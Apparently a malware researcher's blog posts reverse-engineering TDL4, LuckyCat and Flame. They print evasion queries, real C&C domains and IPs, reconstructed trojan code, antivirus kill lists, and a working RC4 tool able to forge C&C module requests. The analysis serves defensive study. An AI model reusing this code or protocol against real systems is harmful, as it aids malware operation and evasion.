    • SELECT * FROM Win32_DiskDrive WHERE Model LIKE "%VMware%"

    • SELECT * FROM Win32_ComputerSystem WHERE Manufacturer LIKE "%Microsoft%"

    • SELECT * FROM Win32_BIOS WHERE Manufacturer LIKE "%innotek%"

    • SELECT * FROM Win32_DiskDrive WHERE Model LIKE "%VBOX%"

    Apart from the queries above, the dropper also checks the existence of several pre-defined hashes of the user names, system drivers, OS serial numbers and install dates to see if it is running under a known controlled environment or not, by using the WMI objects:

    • Win32_ProcessName

    • Win32_UserAccountName

    • Win32_SystemDriverName

    • Win32_OperatingSystem (SerialNumber, InstallDate)

    If the dropper detects it is running under a sandbox, it quits.

    Finally, the dropper extracts a malicious Master Boot Record and Volume Boot Record, and installs them along other components in the system.

    In order to extract all the resources from the dropper, the first task is to find out what resource names and types the dropper has. These names can be seen in the memory dump below:

    Next, the dropper can be debugged and forcefully directed into the flow where the resource extraction takes place:

    Then, the parameters of the function that extracts the resources are patched accordingly:

    After the extraction, the ECX will point into the extracted data, as shown below in case of the MBR resource:

    By following the trick above, all the other resources can now be extracted from the dropper for further analysis:

    • "BIN"
      • MBR (440 bytes)

      • VBR (512 bytes)

    • "FILE"

      • BOOT (1,515 bytes)

      • DBG32 (6,656 bytes)

      • DBG64 (9,088 bytes)

      • DRV32 (37,888 bytes)

      • DRV64 (42,496 bytes)

      • CMD32 (25,088 bytes)

      • CMD64 (43,520 bytes)

      • LDR32 (6,144 bytes)

      • LDR64 (5,632 bytes)

      • MAIN (3,809 bytes)

      • AFFID - "540"

      • SUBID - "direc47"

      • TDI32 (12,800 bytes)

      • TDI64 (16,384 bytes)

    • "PAIR"

      • NAME - "outlkupd.exe"

      • BUILD (37 bytes)

    • "PROXY32"

      • APPVERIF.EXE (173,504 bytes)

      • VRFCORE.DLL (43,520 bytes)

      • STCLIENT.DLL (241,664 bytes)

      • SQMAPI.DLL (43,520 bytes)

    • "PROXY64"

      • SQMAPI.DLL (49,664 bytes)

    Once all the checks were made, and all the resources were installed, along with the infected MBR and VBR, the dropper reboots the system.


    PROXY32/PROXY64

    Apart from several malicious components, the dropper contains some legitimate resources as well (the PROXY32 and PROXY64 ones). These 'proxy' resources are likely dropped and run in order to trick behavioural analysis systems into believing that the sample in question does not only look nice statically (as explained above), but the files that it drops dynamically are also legitimate, some with the valid digital signatures.

    This stealthiness makes the extremely vicious TDL4 also very crafty as it manages to bypass many AV solutions on spot.


    MAIN

    The MAIN resource of TDL4 is a text configuration file. Among other sections, it contains a list of the command and control (C&C) servers that are used for communications:

    [servers_begin]
    7qV2SXF7gv9aKUlN8xMNwdd+nRXbjQ==
    7qV2SXF7guxdMlZG+wYX39t80gLBzprn9w==
    7qV2SXF7gvRLLlBc+QsQyZx53Bs=
    [servers_end]

    The server names are in base-64 form, but the unpacked strings are encrypted. How to decrypt them? Let's analyse the following resource first.


    CMD32/CMD64

    The 32-bit CMD32 component, as well as its 64-bit counterpart CMD64, is a DLL that is injected the memory of the system process, according to the configuration of TDL4. For example, if the MAIN configuration file specifies the section below, then CMD32 can be found within the system process svchost.exe:

    [injects_begin]
    cmd32|svchost.exe,
    [injects_end]

    The infected system indeed has svchost.exe with a memory area where CMD32 runs from, along with the mapped configuration file itself.

    When CMD32 Dll is run, it checks to make sure it is loaded either into services.exe or svchost.exe. Next, it makes sure that explorer.exe process is also running. If explorer.exe is not running, the code falls asleep for 3 minutes, then checks again.

    The Dll then retrieves the image base of its host process and start looking for the APIs called Init() and Uninit(). If found, the pointers of these functions are retrieved and remembered.

    Through the static code analisys, it is assumed that the Init() and Uninit() functions are implemented within one of the missing modules that the DLL can download from the command and control servers. The functions are responsible for extracting configuration file (similar to MAIN) from the JPEG images hosted on the blog sites specified in the MAIN configuration file. The JPEG images contain concealed configuration data by using steganography.

    The DLL deletes the registry key:

    HKLM\SYSTEM\CurrentControlSet\Services\IpFilterDriver

    Next, it deletes a file (presumably a legitimate driver file used by MalwareBytes):

    %SYSTEM%\drivers\mbam.sys

    Following that, it applies XOR 81 operation to four 256-bit hard-coded seed values. These seeds are then used to initialise four RC4 keys. These keys are then used for encryption/decryption purposes.

    The code locates the MAIN section mapped in the process memory and extracts the server list enclosed within [servers_begin] and [servers_end] tags. These names are then unpacked from base-64 and decrypted with RC4 algorithm. Key #3 is used to decrypt the server names below:

    • http://dfsvegasmed.com

    • http://wahinotisifatu.com

    • http://owtotmyne.com

    At the time of writing, the first domain does not resolve to an IP, the 2nd one resolves to an IP 193.169.86.56 located in Ukraine, the 3rd domain resolves to IP 93.174.88.224 located in Netherlands.

    CMD32 then requests a new configuration file from the C&C servers above, by constructing a line with several parameters, as shown below:

    affid=540&subid=direc47&bbid=1f5af5611542886af50307110b155b02ea41bc35&v=12&fb=1&mode=cfg

    The affid/subid parameters are used to identify the client of TDL4 network, the mode parameter clearly specifies that a new configuration is needed.

    The parameters above are mixed with the random value parameters in order to avoid cached server responses.

    The URL parameters line is encrypted with RC4, by using the key #2, then packed into base-64 format.

    Once the configuration file is returned by the server, it is decrypted with the RC4 key #1, then scanned for the presence of the tags [SCRIPT_SIGNATURE_CHECK] and [SCRIPT_SIGNATURE_CHECK_END], then mapped back into the host process memory.

    The DLL then requests from the servers an updated module CMD32/CMD64 with the parameter line: (also mixed with the random value parameters:

    mode=core&filename=cmd32

    The line above is then paranoidly mixed with 5 more random value parameters to avoid server response caching.

    In order to be able to decrypt configurations from the back-up servers (rogue blog posts), the DLL downloads the COM32/COM64 module with the URL parameter:

    mode=mod&filename=com32

    The same parameter is used to request additional modules specified in the configuration section enclosed with the tags [modules_begin] and [modules_end].

    To request an updated DRV32/DRV64 module, the DLL constructs the line:

    mode=core&filename=drv32

    If the host processes is terminated, it is immediately restarted with the CMD32 and configuration data immediately re-injected in it.


    Replicating TDL4 Encryptor Logic

    By replicating TDL4 encryptor (and also decryptor as RC4 is a symmetric algorithm), it is possible to build a tool that allows quick reading of its configuration data - mainly, encrypted C&C servers.

    Apart from that, in case there are NXDomains (non-registered domains) specified in TDL4 configuration, it is possible to build a sinkhole that will 'talk nerdy' to the connected victims (do you happen to know what 'GeckaSeka' means?). That is, it will understand their language and talk to them in their own protocol.

    Knowing how to encrypt the URL parameters will also allow requesting additional components from C&C (such as COM32 module, required for decrypting configuration data concealed within the blog posts' JPEG images).

    Let's build one.

    Our decryptor will decrypt the C&C server name specified in the configuration, then we'll encrypt it back to see if the same original string is produced (results 1-2).

    Next, we'll decrypt the URL parameter found in the TDL4 traffic below, and try encrypting our own URL parameter that requests the COM32 module from C&C (results 3-4).

    The decryptor will first 'prepare' the seeds, then make the following calls:

    prepare_seed(seed2);  // for config data
    prepare_seed(seed3);  // for URL parameter
    
    char szResult1[MAX_PATH];
    decrypt("7qV2SXF7gv9aKUlN8xMNwdd+nRXbjQ==", szResult1, seed3);
    
    char szResult2[MAX_PATH];
    encrypt("http://dfsvegasmed.com", szResult2, seed3);
    
    char szResult3[MAX_PATH];
    decrypt("JsVoFkw7PZy+4vo3+ou9d1kWdiq24NpkflIKQDuOUT9+EkJJ2iGaADle3jviKC4VYu/y6B7FyXXOk2EKT...", szResult3, seed2);
        
    char szResult4[MAX_PATH];
    encrypt("mode=mod&filename=com32", szResult4, seed2);
    
    where prepare_seed() will XOR the seeds with 81:

    void prepare_seed(LPBYTE seed)
    {
        for (int i = 0; i < 256; i++)
        {
            seed[i] ^= (BYTE)i + 81;
        }
    }
    
    The seeds themselves are hard-coded within the CMD32 binary; they can be copy-pasted from it as:

    BYTE seed2[256] =
    {
        0x65,0x4F,0xF7,0xEC,0x02,0xE1,0xA5,0x5C,0xF0,0xC0,0x78,0x58,0x12,0x20,0xD8,0x17, 
        0xA9,0xF5,0x51,0x62,0x98,0xEC,0xD5,0x0C,0xEE,0x4F,0xDC,0x3E,0x87,0xC6,0x77,0xFF, 
        0x66,0x14,0x0B,0x3A,0x02,0xE4,0x01,0xBD,0xAE,0x6F,0xAD,0x34,0x3A,0x5B,0xD1,0xF4, 
        0x9D,0xDF,0xEE,0xDE,0xE5,0x3D,0x29,0x32,0x04,0x57,0xDE,0x92,0x3B,0x94,0x53,0x41, 
        0x25,0xEF,0xCB,0xED,0x1E,0xB9,0xAB,0x3E,0x5B,0x6E,0x07,0xA6,0x1B,0xB6,0xBA,0xF4, 
        0x5A,0x3B,0xFC,0xDA,0x78,0xD4,0xFC,0x50,0xB3,0x13,0xB0,0xF5,0xD1,0xF6,0xD6,0xA9, 
        0xCB,0x0A,0x68,0x03,0x70,0xCE,0x6E,0x8B,0x9F,0x62,0x9E,0x69,0x5B,0x68,0x3A,0xF8, 
        0x45,0xD4,0x85,0xF2,0x21,0x51,0xA0,0xD2,0x9E,0xAC,0xEC,0xA9,0xCE,0xAA,0xDB,0x15, 
        0x4A,0xEB,0xB1,0x17,0xFF,0xF3,0x2D,0x40,0x18,0x5F,0x31,0x3F,0x4B,0x29,0x4A,0xA4, 
        0xFC,0xA1,0x16,0xA6,0x38,0x45,0xEF,0x4A,0x26,0xEE,0xD6,0x62,0xD8,0x04,0x67,0x93, 
        0x76,0x1F,0x1B,0xBE,0x12,0x34,0x58,0xBF,0xE8,0xF3,0xEB,0x5B,0xB8,0x58,0x8F,0xDC, 
        0x6E,0x05,0xA7,0x02,0xCA,0x55,0xC9,0xF9,0x39,0xAB,0x24,0xBE,0xE2,0x5F,0x80,0x11, 
        0x9F,0x00,0x5C,0xA4,0xFB,0x76,0x5A,0x44,0x3A,0xB3,0xB6,0xA3,0x12,0xA5,0x37,0x8B, 
        0x2C,0x3D,0x4D,0x3F,0xDC,0x2D,0x4B,0xA5,0x15,0xF3,0xB1,0xF4,0xD6,0xF9,0xD5,0x09, 
        0xAB,0x9E,0x68,0x03,0x6F,0xAE,0xCE,0x34,0x83,0xC2,0x82,0xCB,0x23,0x55,0x25,0x8C, 
        0x6F,0x89,0x3E,0x8E,0x3C,0x6A,0x43,0x63,0x95,0x3D,0x2F,0x04,0x64,0x10,0x88,0x86,
    };
    
    BYTE seed3[256] =
    {
        0x49,0x8D,0xD1,0x42,0xE9,0x03,0xD5,0x82,0x49,0x42,0xF0,0x8D,0x88,0x74,0xBD,0x6F, 
        0x78,0x38,0x29,0xD3,0x90,0x47,0xB9,0x51,0xA8,0xD9,0xED,0x49,0x3F,0x93,0x27,0xA1, 
        0xD0,0xD7,0x85,0x75,0xD2,0x19,0xE0,0x98,0x71,0xBF,0x68,0xD4,0x18,0xA2,0x57,0xDF, 
        0x44,0xA5,0xBE,0xD7,0xF7,0x60,0xA2,0x0E,0x86,0xCD,0x0E,0xCA,0x09,0x24,0x0C,0x36, 
        0x4B,0x21,0x73,0x9E,0xC2,0x90,0x4A,0x5A,0xEC,0xF3,0x9F,0x6C,0x4D,0xDA,0xDC,0x68, 
        0xC2,0xF2,0x62,0x10,0x05,0x15,0x64,0x07,0x68,0xBE,0x88,0x74,0x7E,0x4B,0x7D,0xE6, 
        0x85,0x52,0xB4,0x7E,0x87,0x03,0xD0,0xF8,0xDF,0x8A,0xE8,0xA9,0x7B,0xDA,0xEE,0x4F, 
        0x73,0xB6,0xE5,0x07,0x75,0x28,0xD5,0x76,0xD8,0x85,0x76,0x6E,0x91,0xC1,0xBF,0x26, 
        0xCC,0xDF,0x68,0xBA,0x1A,0xBB,0x46,0xB4,0xC2,0x6C,0x07,0x10,0x50,0x42,0xAD,0xF0, 
        0x0C,0x78,0x4A,0x1F,0x34,0x89,0xC6,0x11,0x4C,0xB1,0x13,0x22,0x6D,0x55,0x6D,0xDF, 
        0xA9,0xDC,0x2C,0x8E,0x2B,0x78,0xDB,0x80,0xC6,0x23,0x8E,0x24,0x76,0xC4,0xEC,0x39, 
        0xD5,0x3A,0xE9,0x9D,0x8C,0x9E,0x18,0x9F,0x17,0x8E,0x9D,0xFB,0x73,0x58,0x49,0xCD, 
        0x6A,0x1B,0xB5,0xA1,0xB0,0x2B,0xCD,0x24,0x1F,0x0F,0x4B,0x34,0x7B,0xF7,0x7A,0xC8, 
        0x07,0xA5,0xE6,0x6D,0xE1,0x17,0xA2,0xCE,0x0C,0x82,0xCE,0xBE,0x74,0xD8,0xCC,0xC0, 
        0x74,0xC3,0x25,0xD5,0x76,0x64,0x93,0x69,0x9A,0x7B,0x3E,0x8D,0xEA,0x4D,0x4E,0x64, 
        0x06,0x80,0x72,0x2B,0x95,0x8D,0xD6,0xBD,0xD9,0x84,0xBF,0xD3,0xBD,0x61,0xDF,0xF2,
    };
    
    The RC4 algorithm itself can shamelessly be 'borrowed' from the ZeuS source code:

    typedef struct
    {      
        BYTE state[256];       
        BYTE x;        
        BYTE y;
    } RC4KEY;
    
    #define swap_byte(a, b) {swapByte = a; a = b; b = swapByte;}
    
    void rc4_init(const void *binKey, WORD binKeySize, RC4KEY *key)
    {
        register BYTE swapByte;
        register BYTE index1 = 0, index2 = 0;
        LPBYTE state = &key->state[0];
        register WORD i;
    
        key->x = 0;
        key->y = 0;
    
        for (i = 0; i < 256; i++)
        {
            state[i] = i;
        }
        for (i = 0; i < 256; i++)
        {
            index2 = (((LPBYTE)binKey)[index1] + state[i] + index2) & 0xFF;
            swap_byte(state[i], state[index2]);
            if (++index1 == binKeySize)
            {
                index1 = 0;
            }
        }
    }
    
    void rc4_crypt(void *buffer, DWORD size, RC4KEY *key)
    {
        register BYTE swapByte;
        register BYTE x = key->x;
        register BYTE y = key->y;
        LPBYTE state = &key->state[0];
    
        for (register DWORD i = 0; i < size; i++)
        {
            x = (x + 1) & 0xFF;
            y = (state[x] + y) & 0xFF;
            swap_byte(state[x], state[y]);
            ((LPBYTE)buffer)[i] ^= state[(state[x] + state[y]) & 0xFF];
        }
    
        key->x = x;
        key->y = y; 
    }
    
    The base-64 packer/unpacker along with the decrypt/encrypt functions can then be declared as:

    #pragma comment (lib, "Crypt32.lib")
    
    int ToBase64Crypto(const BYTE* pSrc, int nLenSrc, char* pDst, int nLenDst)
    {
       DWORD nLenOut= nLenDst;
       BOOL fRet= CryptBinaryToString((const BYTE*)pSrc, 
                                      nLenSrc, 
                                      0x40000001, 
                                      pDst, 
                                      &nLenOut);
       if (!fRet) 
       {
           nLenOut=0;
       }
       return nLenOut;
    }
    
    int FromBase64Crypto(const BYTE* pSrc, int nLenSrc, char* pDst, int nLenDst)
    {
       DWORD nLenOut= nLenDst;
       BOOL fRet= CryptStringToBinary((LPCSTR)pSrc, 
                                      nLenSrc, 
                                      0x00000001, 
                                      (BYTE*)pDst, 
                                      &nLenOut, 
                                      NULL, 
                                      NULL);
       if (!fRet) 
       {
           nLenOut=0;
       }
       return nLenOut;
    }
    
    void decrypt(char *szBase64, char *szResult, LPBYTE seed)
    {
        memset(szResult, 0, MAX_PATH);
        int iResultLength = FromBase64Crypto((LPBYTE)szBase64, 
                                             (int)strlen(szBase64), 
                                             szResult, 
                                             MAX_PATH);
        
        RC4KEY rc4_key;
        rc4_init(seed, 256, &rc4_key);
        rc4_crypt((LPBYTE)szResult, iResultLength, &rc4_key);
    
    }
    
    void encrypt(char *szStringToEncrypt, char *szResult, LPBYTE seed)
    {
        char szTemp[MAX_PATH];
        strcpy_s(szTemp, MAX_PATH, szStringToEncrypt);
    
        RC4KEY rc4_key;
        rc4_init(seed, 256, &rc4_key);
        rc4_crypt((LPBYTE)szTemp, strlen(szTemp), &rc4_key);
        
        memset(szResult, 0, MAX_PATH);
        int iResultLength = ToBase64Crypto((LPBYTE)szTemp, 
                                           (int)strlen(szTemp),
                                           szResult, 
                                           MAX_PATH);
        
    }
    
    Running the tool produces the expected results:

    Update: the string ba1039e8cdae53e44ac3e6185b0871f3d031a476 is not hard-coded, it's a SHA-1 hash derived from the system footprint (Windows OS, product ID); thanks to the user 0x16/7ton for correction!

    Friday, 3 August 2012

    Lucky Cat is a Threat?

    Trend Micro has released report on another Android threat called LuckyCat.

    What puts this threat aside is its blunt backdoor functionality that allows it to be used as a remote administration tool, giving the attackers full control over the compromised Android device.

    The trojan arrives as a package named com.testService. The APK file name could be AQS.apk or testService.apk. Both samples are almost identical - one has a standard Android icon, another one has an 'empty' icon, as shown below:


    Apart from showing a toast message Service Start OK!, LuckyCat does not seem to do much more:

    Its main process com.testService will take 1,336 Kb in memory. However, once activated, the trojan registers a broadcast receiver that gets triggered on a BOOT_COMPLETED event:

    public synchronized class TServiceBroadcastReceiver extends BroadcastReceiver
    {
        private static final String ACTION = "android.intent.action.BOOT_COMPLETED";
        public TServiceBroadcastReceiver()
        {
        }
        public void onReceive(Context context, Intent intent1)
        {
            ComponentName componentName;
            if (intent1.getAction().equals("android.intent.action.BOOT_COMPLETED"))
            {
                Intent intent2 = new Intent("android.intent.action.RUN");
                Intent intent3 = intent2.setClass(context, TService);
                Intent intent4 = intent2.setFlags(268435456);
                componentName = context.startService(intent2);
            }
        }
    }
    

    Whenever the device boots up, the trojan will launch its own service TService that will run as a process com.testService:remote, taking 1,060 Kb out of RAM.

    The trojan reads the state of the device SIM card by calling getSimState() method, as shown below:

    public String getPhoneNumber()
    {
       StringBuffer stringBuffer1;
       String string2;
       StringBuffer stringBuffer2;
       StringBuffer stringBuffer3;
       StringBuffer stringBuffer4;
       StringBuffer stringBuffer5;
       StringBuffer stringBuffer6;
       String string1;
       TelephonyManager telephonyManager = (TelephonyManager)getApplicationContext().getSystemService("phone");
       stringBuffer1 = new StringBuffer();
       switch (telephonyManager.getSimState())
       {
       case 1:
          stringBuffer2 = stringBuffer1.append("\u65e0\u5361");
          string2 = stringBuffer1.toString();
          break;
       case 0:
          stringBuffer3 = stringBuffer1.append("\u672a\u77e5\u72b6\u6001");
          string2 = stringBuffer1.toString();
          break;
       case 4:
          stringBuffer4 = stringBuffer1.append("\u9700\u8981NetworkPIN\u89e3\u9501");
          string2 = stringBuffer1.toString();
          break;
       case 2:
          stringBuffer5 = stringBuffer1.append("\u9700\u8981PIN\u89e3\u9501");
          string2 = stringBuffer1.toString();
          break;
       case 3:
          stringBuffer6 = stringBuffer1.append("\u9700\u8981PUK\u89e3\u9501");
          string2 = stringBuffer1.toString();
          break;
       default:
          string1 = telephonyManager.getLine1Number();
          break;
       }
       return string1;
    }
    

    As shown in the listing above, the reported SIM card states are:

    • 无卡 (No card)

    • 未知状态 (Unknown state)

    • 需要NetworkPIN解锁 (Need Network PIN unlock)

    • 需要PIN解锁 (Require a PIN to unlock)

    • 需要PUK解锁 (Need PUK to unlock)

    • (The phone number string for line 1, e.g. MSISDN for a GSM phone)

    Once the data is collected, the trojan tries to send it over to the remote command-and-control server located at greenfuns.3322.org, port 54321.

    The data is compiled into a report that also contains local IP and MAC addresses. The report is wrapped with the strings ejsi2ksz and 369, and then encrypted on top with a XOR keys 0x05 and 0x27:

    public void encryptkey(byte[] paramArrayOfByte, int paramInt1, int paramInt2)
    {
       byte[] arrayOfByte1 = new byte[10240];
       byte[] arrayOfByte2 = new byte[4];
       Arrays.fill(arrayOfByte1, 0, 10240, 0);
       Arrays.fill(arrayOfByte2, 0, 4, 0);
       System.arraycopy(paramArrayOfByte, paramInt1, arrayOfByte1, 0, paramInt2);
       int i = 0;
       if (i >= paramInt2);
       while (true)
       {
          return;
          int j = i + 1;
          arrayOfByte2[0] = (byte)(0x5 ^ arrayOfByte1[i]);
          paramArrayOfByte[(-1 + (paramInt1 + j))] = arrayOfByte2[0];
          if (j >= paramInt2)
             continue;
          i = j + 1;
          arrayOfByte2[1] = (byte)(0x27 ^ arrayOfByte1[j]);
          paramArrayOfByte[(-1 + (paramInt1 + i))] = arrayOfByte2[1];
          if (i < paramInt2)
             break;
       }
    }
    

    As soon as the trojan submits the report to command-and-control server, it receives back response from it.

    The response is checked to make sure it starts with the marker ejsi2ksz. It is then decrypted by calling the same symmetrical function encryptKey().

    The decrypted response is then parsed to see if it contains one out of 5 remote commands:

            switch
            {
                case AR_ONLINEREPORT: goto exit;
                case AR_REMOTESHELL: goto exit;
                case AR_DIRBROSOW: goto browse_directory;
                case AR_FILEDOWNLOAD: goto file_download;
                case AR_FILEUPLOAD: goto file_upload;
                default: goto exit;
            }
    exit:
            mDbgMsg("+++");
            exc1();
            socket2 = socket3;
            mDbgMsg(exc1.getMessage());
            socket2.close();
            mDbgMsg("socke close");
            exc3();
      
    browse_directory:
            i8 = 0 + 64;
            int j8 = readU16(array_b, i8);
            int k8 = i8 + 2;
            String string3 = new String(Arrays.copyOfRange(array_b, k8, j8 + 66), "UTF-8");
            Arrays.fill(array_b, 64, 10176, 0);
            i9 = GetDirList(string3, array_b, 64);
    

    As seen in the reconstructed source code above, out of 5 remote commands, only 3 are actually implemented:

    • AR_DIRBROSOW: directory browsing, handled by GetDirList()

    • AR_FILEDOWNLOAD: file download, handled by mReadFileDataFun()

    • AR_FILEUPLOAD: file upload, handled by mWriteFileDataFun()

    The remaining 2 are defaulting to an 'unrecognised' command:

    • AR_ONLINEREPORT: 'online report' command

    • AR_REMOTESHELL: remote shell execution

    The presence of the last 2 commands in the code indicates that the trojan is still in development and is likely to be updated in the future.

    Thursday, 31 May 2012

    Flame: msglu32.ocx, Component That Can Track Location

    This particular DLL component of the Flame threat is designed to locate various files in the system, read their contents and populate the SQL database with the file contents and characteristics. In addition, this file is capable of collecting geographical identification metadata that may be present in the files it inspects.

    The string decryptor is slightly different this time:

    void decrypt(int result, int iCount)
    {
    int i1, i2, i3, i4;

    i1 = result;
    if (iCount)
    {
    i2 = 11 - result;
    do
    {
    i3 = i1 + i2;
    i4 = i3 + 12;
    result = i3 * i4;
    *(BYTE *)i1 -= result ^ ((i3 * i4) >> 8) ^
    ((i3 * i4) >> 16) ^ ((i3 * i4) >> 24);
    ++i1;
    --iCount;
    }
    while (iCount);
    }
    }

    void Decrypt3(LPBYTE lpBuffer)
    {
    if (lpBuffer[16]) // 16th byte is a flag "encrypted"
    {
    decrypt((int)(lpBuffer + 20), (int)lpBuffer[18]);
    // 18th byte is the string size
    // 20th byte is where encrypted bytes start
    lpBuffer[16] = 0; // clear "encrypted" flag (16th byte)
    }
    }

    Feeding it the string below:

    BYTE szTest3[] =
    {
    0xA7,0xC9,0xDF,0xF8,0x30,0x0C,0x52,0x9D,0x0C,0x7F,0xB5,0x32,0x2B,0x05,0xC6,0x08,
    0x05,0xD5,0x26,0x00,0x74,0x21,0xA5,0x6D,0x0B,0xC1,0x54,0x1E,0xB0,0x82,0x24,0xEE,
    0xA0,0x63,0xFF,0xDF,0x7A,0x64,0x03,0xE8,0x9F,0x85,0x3E,0x1A,0xD0,0xC6,0x73,0x6B,
    0x34,0x28,0xD6,0xD4,0x96,0xA9,0x78,0x66,0x42,0x4B,0x00,0x00,0x68,0xB8,0xE7,0x8A,
    0x23,0x51,0x36,0x5C,0xCD,0xC3,0x4D,0xE4,0xF2,0xE5,0xCC,0xA3,0x00
    };
    Decrypt3(szTest3);

    produces the following result:

        A7 C9 DF F8 30 0C 52 9D 0C 7F B5 32 2B 05 C6 | ....0.R....2+..
        08 00 D5 26 00 77 00 61 00 77 00 68 00 61 00 | ...&.w.a.w.h.a.
        6D 00 7A 00 61 00 61 00 62 00 6F 00 76 00 65 | m.z.a.a.b.o.v.e
        00 61 00 72 00 61 00 62 00 69 00 63 00       | .a.r.a.b.i.c.

    The file is capable of locating the following files:
    • Wicrosoft Word documents

    • Microsoft Excel spreadsheets

    • Microsoft PowerPoint slides

    • Microsoft Access Databases

    • Microsoft Outlook objects (IPM Notes, Appointments, Schedule/Meeting Requests)

    • AutoCAD Drawings

    • Visio Drawings

    • PDF Documents

    • Image files (JPEG, BMP, TIFF, PNG, GIF)

    For every document, the DLL collects file characteristics, such as:
    • Modification Date

    • Creation Date

    • Creator

    • Author

    • Comments

    • Company

    • Producer

    • Title

    • Info

    • Revision number

    • Number of Keywords

    The information about located files can then be stored in the database. That data is added and queried with the SQL commands, such as:
    • INSERT INTO Media (Type, MediumDescription) VALUES ('%s', '%s')

    • SELECT State FROM Pst_States WHERE FileName=? AND Size=%u AND LastModification=%I64d

    The module contains a large table that consists of 4,173 Postscript glyph names, such as 'alefhamzabelowfinalarabic' or 'alefqamatshebrew'. This table is used to convert Postscript glyph names into Unicode codes - presumably to be able to parse the content of Adobe PDF documents written in Unicode Character Entities, such as Hebrew or Arabic.

    The DLL is aware of the presence of the security product by inspecting the registry entries:
    • HKLM\SOFTWARE\KasperskyLab\AVP6

    • HKLM\SOFTWARE\KasperskyLab\protected\AVP7

    If the files it inspects include geographical identification metadata (geotagging), it will extract the following data:
    • GPS Latitude

    • GPS Latitude Ref

    • GPS Longitude

    • GPS Longitude Ref

    • GPS Altitude

    • GPS Altitude Ref

    This geotagging data may be present within the images, as shown below:


    Image Source: Wikipedia, Geotagging

    Some cameras use automatic picture geotagging with a built-in GPS receiver (such as Panasonic Lumix DMC-TZ10, Sony Alpha 55V, or Canon PowerShot SX230/SX260). Many mobile phones use either a built-in GPS receiver or a Wi-Fi positioning (assisted GPS) to embed geotagging in the photos by default.

    Retrieving the geotagging data allows this Flame component to find GPS coordinates of the location where the pictures were taken, or with some statistical probability, where the compromised system is (has been) located:

    .text:100C5DE8 sub_100C5DE8 proc near
    .text:100C5DE8 push offset aGps_latitude ; "GPS_LATITUDE"
    .text:100C5DED call decrypt_string
    .text:100C5DF2 pop ecx
    .text:100C5DF3 push eax
    .text:100C5DF4 push offset GPS_LATITUDE
    .text:100C5DF9 call copy_string
    .text:100C5DFE push offset sub_100F32F8
    .text:100C5E03 call _atexit
    .text:100C5E08 pop ecx
    .text:100C5E09 retn
    .text:100C5E09 sub_100C5DE8 endp

    The code is also capable of enumerating and terminating the following processes found on a compromised system:
    • AntiHook.exe

    • EngineServer.exe

    • FAMEH32.exe

    • FCH32.exe

    • Filemon.exe

    • FPAVServer.exe

    • FProtTray.exe

    • FrameworkService.exe

    • fsav32.exe

    • fsdfwd.exe

    • fsgk32.exe

    • fsgk32st.exe

    • fsguidll.exe

    • FSM32.exe

    • FSMA32.exe

    • FSMB32

    • fspc.exe

    • fsqh.exe

    • fssm32.exe

    • jpf.exe

    • jpfsrv.exe

    • mcagent.exe

    • mcmscsvc.exe

    • McNASvc.exe

    • McProxy.exe

    • McSACore.exe

    • Mcshield.exe

    • mcsysmon.exe

    • McTray.exe

    • mcupdmgr.exe

    • mfeann.exe

    • mfevtps.exe

    • MpfSrv.exe

    • naPrdMgr.exe

    • procexp.exe

    • PXAgent.exe

    • PXConsole.exe

    • shstat.exe

    • sp_rsser.exe

    • SpywareTerminator.exe

    • SpywareTerminatorShield.exe

    • UdaterUI.exe

    • VsTskMgr.exe

    Wednesday, 30 May 2012

    Flame: Component nteps32.ocx ... or should we call it Tosy?

    Analysis of another Flame component - a DLL file nteps32.ocx, reveals that its strings are also encrypted, just like in soapr32.ocx.

    There is slight difference in the parameters used in the encryption algorithm.

    Here is the reconstructed logic of the decryptor:

    void Decrypt2(LPBYTE lpBuffer)
    {
    if (lpBuffer[16]) // 16th byte is a flag "encrypted"
    {
    for (BYTE i = 0; i < lpBuffer[18]; i++) // 18th byte is the string size
    {
    lpBuffer[20 + i] -= GetKey2(i); // encrypted string starts from 20th byte
    }
    lpBuffer[16] = 0; // clear "encrypted" flag (16th byte)
    }
    }

    Passing it an encrypted string below:

    BYTE szTest[] = {0x15,0xEE,0x8A,0x6D,0x13,0xF0,0xD4,0x55,0x5B,0x0A,0x61,0x17,0x70,
    0x88,0xDF,0x0A,0x90,0x7D,0x52,0x00,0xCA,0xA2,0x0F,0xE8,0x5B,0x37,
    0xAE,0x8D,0x17,0xEB,0x71,0x52,0xD3,0xBC,0x40,0x37,0xC5,0xB1,0x4E,
    0x3C,0xBB,0xC2,0x67,0x59,0xF4,0xFF,0xA6,0xA6,0x3B,0x49,0x10,0x0C,
    0xDD,0xCA,0x9D,0x81,0x4C,0x5C,0x3C,0x27,0x04,0x06,0xDB,0xFC,0xE4,
    0xD3,0xA2,0xDA,0xBE,0xDD,0xA6,0xC8,0xAB,0xF7,0xD2,0xEE,0x0B,0x0E,
    0x27,0x55,0x37,0x78,0x84,0xB3,0xBD,0xFA,0x11,0x32,0x39,0x6D,0xA0,
    0xD0,0xC3,0x34,0x03,0x8F,0xBC,0xDE,0xE9,0x56,0x48,0xD1,0x00};
    Decrypt2(szTest);

    results in the following decoded output:

    15 EE 8A 6D 13 F0 D4 55 5B 0A 61 17 70 88 DF 0A 00 7D 52 00 48 | ...m...U[.a.p....}R.H
    00 4B 00 4C 00 4D 00 5C 00 53 00 4F 00 46 00 54 00 57 00 41 00 | .K.L.M.\.S.O.F.T.W.A.
    52 00 45 00 5C 00 4B 00 61 00 73 00 70 00 65 00 72 00 73 00 6B | R.E.\.K.a.s.p.e.r.s.k
    00 79 00 4C 00 61 00 62 00 5C 00 70 00 72 00 6F 00 74 00 65 00 | .y.L.a.b.\.p.r.o.t.e.
    63 00 74 00 65 00 64 00 5C 00 41 00 56 00 50 00 37 00          | c.t.e.d.\.A.V.P.7.

    As you can see, this time, 16th byte keeps the 'encrypted' flag (used to be 8th), the string size is now kept in the 18th byte (used to be 9th), and the string itself starts from the byte #20 (used to be #11).

    Obviously, these parameters are random. The author of this threat must be keeping all the original strings in a separate file, and then a separately executed script selects random encryption parameters and then encrypts those strings, producing the source files for compilation. This is similar to how ZeuS encrypts its strings.

    Decrypting entire file is also possible by using the same tool that was suggested before. A file with the fully decrypted strings reveals interesting details.

    First, the DLL contains a list of domain name substrings that are used for filtering out the websites it is interested in monitoring:
    • .hotmail.

    • gawab.com

    • gmail.com

    • live.com

    • mail.

    • maktoob.com

    • rocketmail.com

    • yahoo.co

    • ymail.com

    Next, it contains a long list of security processes that is it designed to detect:
    • 4gui.exe

    • antihook.exe

    • app_firewall.exe

    • asr.exe

    • authfw.exe

    • avgamsvr.exe

    • avgcc.exe

    • avgemc.exe

    • avgfwsrv.exe

